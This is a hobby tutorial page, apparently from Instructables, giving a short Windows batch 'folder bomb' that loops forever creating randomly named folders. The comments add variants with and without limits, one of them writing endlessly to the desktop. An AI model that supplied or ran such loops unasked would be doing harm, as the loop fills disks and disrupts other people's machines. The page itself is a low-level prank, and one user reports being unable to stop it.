Folder Bomb Batch File

Published

Introduction: Folder Bomb Batch File

About: Hello, from Creative™. Our team makes everything from batch files to drawings. Be sure to try some you might be interested in. Have a good day Creative™.

This is probably the most simple and productive batch "virus" there is.
It makes infinite folders named different numbers.

Step 1: Open Notepad

To open note pad goto start menu ,and type note then look for note pad. Notepad is a free program that comes on any windows computer it is a lot more powerful than most people think.

Step 2: Coding

Now here is where i say I'm not responsible for anything you do with this... This is for educational purposes only. Now this code is extremely easy. The code is:
@echo off
:1
Md %random%
Goto 1

Step 3: Final

That was over 2,000 files created. That is what it does.

Share

    Recommendations

    • Clocks Contest

      Clocks Contest
    • Planter Challenge

      Planter Challenge
    • Oil Contest

      Oil Contest
    user

    We have a be nice policy.
    Please be positive and constructive.

    Tips

    Questions

    13 Comments

    It's clever, but I have the following code to "control" it:

    @echo off

    :top

    md C:\BOMBER\%random%

    goto top

    3 replies

    so does this stop it all together.

    or not?

    All this does is put the created folders in another folder

    i made this file and deleted it and now it wont stop making files!!! any help on how to stop??

    is there a way to make the folders go directly on the desktop instead of in a folder on the desktop

    2 replies

    yes; here is the code,

    credit to mancaveroomcontrol, this is a modified ver.

    @echo off

    set limit=2000

    set var1=0

    :CreateFolders

    set /a var1=%var1%+1

    set /a (username here)=%user%

    md c:\users\%user%\Desktop\%var1%

    echo CREATED : FOLDER (Spam\%var1%)

    if %limit% equ 0 (

    goto CreateFolders

    )

    if %var1% equ %limit% goto End

    goto CreateFolders

    :End

    cls

    title Limit Reached!

    echo Limit Reached!

    pause

    cls

    goto End


    Is there a way to make it so that it finds the active users name and automatically goes to it? Also I simplified your a little bit here:

    @echo off

    set limit=2000

    set var1=0

    :CreateFolders

    set /a var1=%var1%+1

    md c:\users\***USERNAMEHERE***\Desktop\%var1%

    echo CREATED : FOLDER (c:\users\***USERNAMEHERE***\Desktop\%var1%)

    if %limit% equ 0 (

    goto CreateFolders

    )

    if %var1% equ %limit% goto End

    goto CreateFolders

    :End

    cls

    title Limit Reached!

    echo Limit Reached!

    pause

    cls

    goto End@echo off

    set limit=2000

    set var1=0

    :CreateFolders

    set /a var1=%var1%+1

    md Spam\%var1%

    echo CREATED : FOLDER (Spam\%var1%)

    if %limit% equ 0 (

    goto CreateFolders

    )

    if %var1% equ %limit% goto End

    goto CreateFolders

    :End

    cls

    title Limit Reached!

    echo Limit Reached!

    pause

    cls

    goto End

    @echo off

    set limit=2000

    set var1=0

    :CreateFolders

    set /a var1=%var1%+1

    md Spam\%var1%

    echo CREATED : FOLDER (Spam\%var1%)

    if %limit% equ 0 (

    goto CreateFolders

    )

    if %var1% equ %limit% goto End

    goto CreateFolders

    :End

    cls

    title Limit Reached!

    echo Limit Reached!

    pause

    cls

    goto End

    1 reply

    Where it says "limit=2000" you can change that to however many files you wish for this to create! If you want it to run continuously set it to 0

    @echo off

    set var1=0

    md %userprofile%\Desktop\TestFile

    :loop

    set /a var1=%var1%+1

    md %userprofile%\Desktop\TestFile\%var1%

    goto :loop

    Yes, first delete the batch file then delete the files themselves

    Very clever. Is there a quick way to remove this, or reverse the effects?